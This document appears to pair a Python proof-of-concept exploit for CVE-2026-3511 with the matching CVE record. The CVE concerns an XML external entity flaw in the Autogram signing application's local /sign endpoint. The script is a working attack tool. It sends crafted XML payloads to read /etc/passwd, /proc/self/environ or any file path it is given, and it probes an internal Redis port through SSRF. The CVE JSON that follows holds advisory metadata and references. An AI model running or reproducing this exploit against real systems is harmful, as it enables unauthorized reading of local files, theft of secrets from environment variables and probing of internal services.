CVE-2026-3511

import requests import sys # CVE-2026-3511 XXE -> SSRF PoC # Target: Local Autogram HTTP server # Attack: Read local files via XXE def exploit_xxe(target_url, file_to_read): """ Exploit XXE vulnerability to read local files """ # Malicious XML with external entity to read local file xml_payload = f'''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file://{file_to_read}"> ]> <root> <signature>&xxe;</signature> </root>''' headers = { 'Content-Type': 'application/xml', 'User-Agent': 'Autogram-Client/2.7.1' } print(f"[*] Sending XXE payload to {target_url}") print(f"[*] Attempting to read: {file_to_read}") try: response = requests.post(target_url, data=xml_payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body:\n{response.text[:1000]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def exploit_ssrf(target_url): """ Exploit XXE for SSRF to probe internal services """ # SSRF payload to probe internal Redis service ssrf_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY ssrf SYSTEM "http://127.0.0.1:6379/"> ]> <root> <data>&ssrf;</data> </root>''' headers = { 'Content-Type': 'application/xml', 'User-Agent': 'Autogram-Client/2.7.1' } print(f"[*] Sending SSRF payload to probe localhost:6379") try: response = requests.post(target_url, data=ssrf_payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[*] SSRF probe result: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-3511.py <target_url> <action>") print("Example: python cve-2026-3511.py http://localhost:8080/sign read_etc_passwd") sys.exit(1) target = sys.argv[1] action = sys.argv[2] if action == "read_etc_passwd": exploit_xxe(target, "/etc/passwd") elif action == "read_env": exploit_xxe(target, "/proc/self/environ") elif action == "ssrf": exploit_ssrf(target) else: exploit_xxe(target, action)

{"cve": {"id": "CVE-2026-3511", "sourceIdentifier": "[email protected]", "published": "2026-03-19T12:16:18.647", "lastModified": "2026-03-19T13:25:00.570", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Restriction of XML External Entity Reference vulnerability in XMLUtils.java in Slovensko.Digital Autogram allows remote unauthenticated attacker to conduct SSRF (Server Side Request Forgery) attacks and obtain unauthorized access to local files on filesystems running the vulnerable application. Successful exploitation requires the victim to visit a specially crafted website that sends request containing a specially crafted XML document to /sign endpoint of the local HTTP server run by the application."}, {"lang": "es", "value": "Vulnerabilidad de Restricción Inadecuada de Referencia a Entidad Externa XML en XMLUtils.java en Slovensko.Digital Autogram permite a un atacante remoto no autenticado realizar ataques SSRF (Server Side Request Forgery) y obtener acceso no autorizado a archivos locales en sistemas de archivos que ejecutan la aplicación vulnerable. La explotación exitosa requiere que la víctima visite un sitio web especialmente diseñado que envía una solicitud que contiene un documento XML especialmente diseñado al endpoint /sign del servidor HTTP local ejecutado por la aplicación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "references": [{"url": "https://blog.binary.house/2026/03/pripadova-studia-ako-sme-s-claude-code.html", "source": "[email protected]"}, {"url": "https://github.com/slovensko-digital/autogram/releases/tag/v2.7.2", "source": "[email protected]"}]}}